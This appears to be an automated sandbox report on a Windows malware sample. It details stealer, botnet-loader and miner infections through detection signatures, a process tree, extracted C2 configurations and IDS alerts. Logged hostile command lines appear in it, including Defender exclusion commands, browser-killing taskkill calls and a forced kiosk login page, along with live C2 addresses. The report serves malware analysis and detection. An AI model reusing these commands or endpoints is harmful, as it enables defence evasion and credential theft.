Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545799
MD5:	b46936cffdc42cdae5d2ac630d4d2ea3
SHA1:	a87e810985eb35b5350808a3adc7deb93971b454
SHA256:	d002a44cf998112f91a5a11bfde4320ab66cd0d21bab15b908827165df5b4fb6
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates a Windows Service pointing to an executable in C:\Windows

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to detect virtual machines (SIDT)

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B46936CFFDC42CDAE5D2AC630D4D2EA3)

RYM16770HTK1NZSZ1PW5P28.exe (PID: 1292 cmdline: "C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe" MD5: 206A7FA3578F27CD6E06D5D1F3AE8224)

8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe (PID: 7120 cmdline: "C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe" MD5: 6103F5423F45BC980683947A92E84BCE)

skotes.exe (PID: 1252 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6103F5423F45BC980683947A92E84BCE)

skotes.exe (PID: 744 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6103F5423F45BC980683947A92E84BCE)

configuredInstallerEXE.exe (PID: 1684 cmdline: "C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe" MD5: 2866119CCFAF95432837498B3B31B387)

Loader_seyhhd.exe (PID: 5024 cmdline: "C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe" MD5: D51EB63974474A6E7547C8F3EE8F5C93)

b6ea789a1a.exe (PID: 5880 cmdline: "C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe" MD5: B46936CFFDC42CDAE5D2AC630D4D2EA3)

fc0b992f89.exe (PID: 5628 cmdline: "C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe" MD5: 7FD1B88D3618D5BA66748524407B39CA)

9fee9e49cf.exe (PID: 2608 cmdline: "C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe" MD5: DF53E224B7EC467A1AC0728FCA54456D)

taskkill.exe (PID: 4808 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2216 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5384 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3736 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6488 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1244 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 5484 cmdline: C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 4460 cmdline: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5796 cmdline: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3172 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 2508 cmdline: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3836 cmdline: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 384 cmdline: C:\Windows\System32\svchost.exe -k ThreadRestartTerminal -s ThreadRestartTerminal MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4500 cmdline: C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

b6ea789a1a.exe (PID: 5808 cmdline: "C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe" MD5: B46936CFFDC42CDAE5D2AC630D4D2EA3)

firefox.exe (PID: 4684 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1876 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1628 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2140 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d8927e0-9a24-4aca-bba3-0a7c28f42790} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc1dd6cb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3876 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4180 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 2872 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {35958533-be16-4379-b7b3-a0e46a52ccf6} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc2ea51b10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 3836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

fc0b992f89.exe (PID: 5736 cmdline: "C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe" MD5: 7FD1B88D3618D5BA66748524407B39CA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "scriptyprefej.store", "thumbystriw.store", "presticitpo.store", "necklacedmny.store", "crisiwarny.store", "founpiuer.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1002758001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000003.3262105561.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000004.00000003.2281466208.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2307591967.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2324518597.0000000000EE1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000002.3311731465.000000000157B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.3116101099.0000000005700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.3156445874.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.3274962236.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.3306996837.000001AF56C83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000012.00000002.3306996837.000001AF56C89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.2351335832.0000000000981000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2672318109.0000000005140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3314964247.0000000001402000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000002.3306253227.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: svchost.exe PID: 384	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: b6ea789a1a.exe PID: 5880	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b6ea789a1a.exe PID: 5880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b6ea789a1a.exe PID: 5880	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: fc0b992f89.exe PID: 5628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: fc0b992f89.exe PID: 5628	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: b6ea789a1a.exe PID: 5808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9fee9e49cf.exe PID: 2608	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: fc0b992f89.exe PID: 5736	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: fc0b992f89.exe PID: 5736	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.skotes.exe.980000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.fc0b992f89.exe.ca0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.ee0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.980000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
41.2.fc0b992f89.exe.ca0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 744, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b6ea789a1a.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", CommandLine: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload, ParentImage: C:\Windows\System32\svchost.exe, ParentProcessId: 5484, ParentProcessName: svchost.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", ProcessId: 4460, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\", CommandLine: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\", CommandLine|base64offset|contains: )f, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\", ProcessId: 3836, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 744, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b6ea789a1a.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", CommandLine: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", CommandLine|base64offset|contains: )f, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32", ProcessId: 5796, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload, CommandLine: C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload, ProcessId: 5484, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:08:00.054841+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-31T02:08:01.545371+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-31T02:08:12.635345+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-31T02:09:38.458928+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49996	188.114.97.3	443	TCP
2024-10-31T02:09:39.629348+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49999	188.114.97.3	443	TCP
2024-10-31T02:09:53.936616+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50009	188.114.97.3	443	TCP
2024-10-31T02:09:54.950932+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50010	188.114.97.3	443	TCP
2024-10-31T02:10:21.111736+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50027	188.114.97.3	443	TCP
2024-10-31T02:10:27.964457+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50028	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:08:00.054841+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-31T02:09:38.458928+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49996	188.114.97.3	443	TCP
2024-10-31T02:09:53.936616+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50009	188.114.97.3	443	TCP
2024-10-31T02:10:21.111736+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50027	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:08:01.545371+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-31T02:09:39.629348+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49999	188.114.97.3	443	TCP
2024-10-31T02:09:54.950932+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50010	188.114.97.3	443	TCP
2024-10-31T02:10:27.964457+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50028	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:07:52.803758+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50035	188.114.97.3	443	TCP
2024-10-31T02:07:59.449767+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-31T02:08:00.785794+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-31T02:08:02.296694+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	188.114.97.3	443	TCP
